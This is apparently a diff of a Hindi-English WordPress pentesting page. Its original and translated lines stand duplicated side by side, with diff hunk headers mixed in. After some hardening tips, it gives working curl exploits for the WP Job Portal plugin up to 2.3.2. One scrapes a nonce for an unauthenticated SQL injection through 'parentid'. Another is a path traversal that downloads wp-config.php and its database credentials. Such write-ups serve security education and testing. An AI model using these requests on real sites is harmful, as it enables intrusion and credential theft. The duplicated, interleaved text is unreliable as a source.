- डिफ़ॉल्ट **admin** उपयोगकर्ता हटाएँ - डिफ़ॉल्ट **admin** उपयोगकर्ता हटाएँ
- **मजबूत पासवर्ड** और **2FA** का उपयोग करें - **मजबूत पासवर्ड** और **2FA** का उपयोग करें
- समय-समय पर उपयोगकर्ताओं की **अनुमतियों** की **समीक्षा** करें - नियमित रूप से उपयोगकर्ताओं की **अनुमतियाँ** की **समीक्षा** करें
- **लॉगिन प्रयासों को सीमित करें** ताकि Brute Force हमलों से बचाव हो सके - **लॉगिन प्रयासों को सीमित करें** ताकि Brute Force attacks को रोका जा सके
- **`wp-admin.php`** फाइल का नाम बदलें और केवल आंतरिक रूप से या कुछ विशिष्ट IP addresses से ही पहुँच की अनुमति दें। - **`wp-admin.php`** फ़ाइल का नाम बदलें और केवल आंतरिक रूप से या कुछ विशिष्ट IP पतों से ही पहुँच की अनुमति दें।
### Unauthenticated SQL Injection (अपर्याप्त सत्यापन के कारण) (WP Job Portal <= 2.3.2)
The WP Job Portal recruitment plugin ने एक **savecategory** task एक्सपोज़ किया था जो अंततः `modules/category/model.php::validateFormData()` के अंदर निम्नलिखित कमजोर कोड को चलाता है: ### Unauthenticated SQL Injection — अपर्याप्त वैलिडेशन के कारण (WP Job Portal <= 2.3.2)
The WP Job Portal recruitment plugin exposed a **savecategory** task that ultimately executes the following असुरक्षित कोड inside `modules/category/model.php::validateFormData()`:
```php ```php
$category = WPJOBPORTALrequest::getVar('parentid'); $category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' '; $inquery = ' ';
@ -612,16 +664,16 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
Issues introduced by this snippet: Issues introduced by this snippet:
1. **Unsanitised user input** – `parentid` सीधे HTTP request से आता है. 1. **Unsanitised user input** – `parentid` सीधे HTTP request से आता है.
2. **String concatenation inside the WHERE clause** – कोई `is_numeric()` / `esc_sql()` / prepared statement नहीं। 2. **String concatenation inside the WHERE clause** – `is_numeric()` / `esc_sql()` / prepared statement का उपयोग नहीं किया गया है.
3. **Unauthenticated reachability** – हालाँकि action `admin-post.php` के माध्यम से execute होता है, उपलब्ध एकमात्र जांच **CSRF nonce** (`wp_verify_nonce()` ) है, जिसे कोई भी विज़िटर उस public पेज से प्राप्त कर सकता है जो शॉर्टकोड `[wpjobportal_my_resumes]` embed करता है। 3. **Unauthenticated reachability** – हालांकि action `admin-post.php` के माध्यम से execute होता है, मौजूद केवल जांच **CSRF nonce** (`wp_verify_nonce()` ) है, जिसे कोई भी विज़िटर उस पब्लिक पेज से प्राप्त कर सकता है जो shortcode `[wpjobportal_my_resumes]` embed करता है।
#### Exploitation #### शोषण
1. Grab a fresh nonce: 1. एक नया nonce प्राप्त करें:
```bash ```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
``` ```
2. Inject arbitrary SQL by abusing `parentid`: 2. `parentid` का दुरुपयोग करके arbitrary SQL inject करें:
```bash ```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \ -d 'task=savecategory' \
@ -629,18 +681,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \ -d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id=' -d 'cat_title=pwn' -d 'id='
``` ```
The response discloses the result of the injected query or alters the database, proving SQLi. Response इंजेक्ट किए गए query का परिणाम उजागर करता है या database को बदल देता है, जिससे SQLi साबित होता है।
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
एक अन्य task, **downloadcustomfile**, विज़िटर्स को path traversal के ज़रिये डिस्क पर रखी **किसी भी फ़ाइल** को download करने की अनुमति देता था। कमजोर sink `modules/customfield/model.php::downloadCustomUploadedFile()` में स्थित है: एक और टास्क, **downloadcustomfile**, विज़िटर्स को path traversal के जरिए डिस्क पर मौजूद **किसी भी फाइल** डाउनलोड करने की अनुमति देता था। कमजोर sink `modules/customfield/model.php::downloadCustomUploadedFile()` में स्थित है:
```php ```php
$file = $path . '/' . $file_name; $file = $path . '/' . $file_name;
... ...
echo $wp_filesystem->get_contents($file); // raw file output echo $wp_filesystem->get_contents($file); // raw file output
``` ```
`$file_name` attacker-controlled है और concatenated **without sanitisation**। फिर, एकमात्र gate एक **CSRF nonce** है जिसे resume पृष्ठ से प्राप्त किया जा सकता है। `$file_name` हमलावर द्वारा नियंत्रित है और concatenated **without sanitisation**। फिर से, एकमात्र बाधा **CSRF nonce** है जिसे resume page से प्राप्त किया जा सकता है।
#### Exploitation #### Exploitation
```bash ```bash
@ -651,7 +703,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \ --data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php' --data-urlencode 'file_name=../../../wp-config.php'
``` ```
सर्वर `wp-config.php` की सामग्री के साथ प्रतिक्रिया देता है, leaking DB credentials और auth keys। सर्वर `wp-config.php` की सामग्री वापस करता है, leaking DB credentials and auth keys।
## संदर्भ ## संदर्भ
@ -662,5 +714,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/) - [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability) - [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/) - [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}